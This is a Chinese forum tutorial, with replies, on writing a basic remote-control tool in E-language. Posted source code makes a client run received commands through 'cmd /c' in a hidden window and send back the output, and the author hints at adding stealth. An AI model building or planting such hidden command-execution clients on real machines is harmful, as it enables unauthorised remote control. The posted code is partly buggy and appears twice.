易语言编写简单的远控
以前觉得远控很神奇,现在觉得其实原理挺简单的:接受命令-执行-反馈结果。这次呢我就给大家演示下如何利用易语言编写简单的远控。功能是能够远程执行CMD命令。===========================================================================================
第一步:构建界面
首先新建两个程序:
控制端用的控件:
首先是1个列表框,显示上线主机
2个编辑框,用于写入要执行的命令和回显远程执行的结果
1个按钮
1个服务器控件,这个用来传输信息
如图:
服务端的就简单了:
一个客户端控件
第二步:设计代码
我们先来看控制端:
我们首先让启动的时候处于**状态以便接受客户端的连接信息,
(是的,就是这么简单)
接下来要让客户端连接控制端,我们写下代码:
服务端:当有客户进入的时候,我们要让他在列表框上显示出来,我们设计相应的代码:
这样我们就把客户端上线和下线的事件写完了,测试下可不可以。
好的,经过测试没有问题。
接下来要写的就是最核心的代码,数据的传输与处理
先写数据的传输吧,我的思路是,当客户端发送按钮被按下的时候,我们把编辑框1的内容发送给列表框选中的客户,然后客户把运行后的结果返回回来。
这样子先写发送的代码:
这句话的意思是把列表框选中的项目作为控制的对象,“当前控制客户”是一个文本型变量
接下来是最核心最核心的内容了,让客户端受到命令,执行,返回执行结果,让客户端执行命令容易,但是还要返回执行的结果,这个不是几句话能实现的。我查过很多资料,方法有两种:一种是利用管道,说实话这种方法我也没怎么弄懂——。但是还有另一种方法,把执行的结果保存在某个文件上,然后间接的读取文本内容并发送,这就好办啦!
我们设想在c盘里新建一个1.txt文件,利用它来获取执行结果,这个文件起到的也就是桥梁作用。
这样的话客户端的设计就大功告成了,进行控制端的收尾吧!
接下来进行一些细小的调整吧!
恩,好了,来测试写效果吧~
呵呵,大功告成啦!
当然只是最最基础的功能,真正的远控绝不局限于此,要想有更强大的功能和更好的隐蔽性,慢慢学习吧
就到这里了,bye~ 怎么不把源代码发出来呢 .版本 2
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
服务器1.端口 = 1994
客户1.连接 (“127.0.0.1”, 1994)
.子程序 _服务器1_客户进入
.局部变量 数据取回, 文本型
数据取回 = 服务器1.取回客户 ()
列表框1.加入项目 (数据取回, )
.子程序 _服务器1_客户离开
.局部变量 a, 文本型
.局部变量 s
a = 服务器1.取回客户 ()
.计次循环首 (列表框1.取项目数 (), s)
.如果真 (列表框1.取项目文本 (s - 1) = a)
列表框1.删除项目 (s - 1)
跳出循环 ()
.如果真结束
.计次循环尾 ()
.子程序 _列表框1_列表项被选择
当前控制客户 = 列表框1.取项目文本 (列表框1.现行选中项)
.子程序 _按钮1_被单击
.如果 (当前控制客户 = “”)
信息框 (“XXXXXXXXXX”, 0, )
.否则
.如果结束
.子程序 _客户1_数据到达
.局部变量 数据, 文本型
.局部变量 结果, 字节集
数据 = 到文本 (客户1.取回数据 ())
.如果真 (打开文件 (“c:\1.txt”, #读入, ) = 1)
删除文件 (“c:\1.txt”)
.如果真结束
运行 (“cmd/c” + 数据 + “>c:\1.txt”, 假, #隐藏窗口)
延时 (2000)
结果 = 到文本 (读入文本 (“C;\1.txt”, ))
客户1.发送数据 (结果) .版本 2
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
服务器1.端口 = 1994
客户1.连接 (“127.0.0.1”, 1994)
.子程序 _服务器1_客户进入
.局部变量 数据取回, 文本型
数据取回 = 服务器1.取回客户 ()
列表框1.加入项目 (数据取回, )
.子程序 _服务器1_客户离开
.局部变量 a, 文本型
.局部变量 s
a = 服务器1.取回客户 ()
.计次循环首 (列表框1.取项目数 (), s)
.如果真 (列表框1.取项目文本 (s - 1) = a)
列表框1.删除项目 (s - 1)
跳出循环 ()
.如果真结束
.计次循环尾 ()
.子程序 _列表框1_列表项被选择
当前控制客户 = 列表框1.取项目文本 (列表框1.现行选中项)
.子程序 _按钮1_被单击
.如果 (当前控制客户 = “”)
信息框 (“XXXXXXXXXX”, 0, )
.否则
.如果结束
.子程序 _客户1_数据到达
.局部变量 数据, 文本型
.局部变量 结果, 字节集
数据 = 到文本 (客户1.取回数据 ())
.如果真 (打开文件 (“c:\1.txt”, #读入, ) = 1)
删除文件 (“c:\1.txt”)
.如果真结束
运行 (“cmd/c” + 数据 + “>c:\1.txt”, 假, #隐藏窗口)
延时 (2000)
结果 = 到文本 (读入文本 (“C;\1.txt”, ))
客户1.发送数据 (结果) 好多广告!!
页:
[1]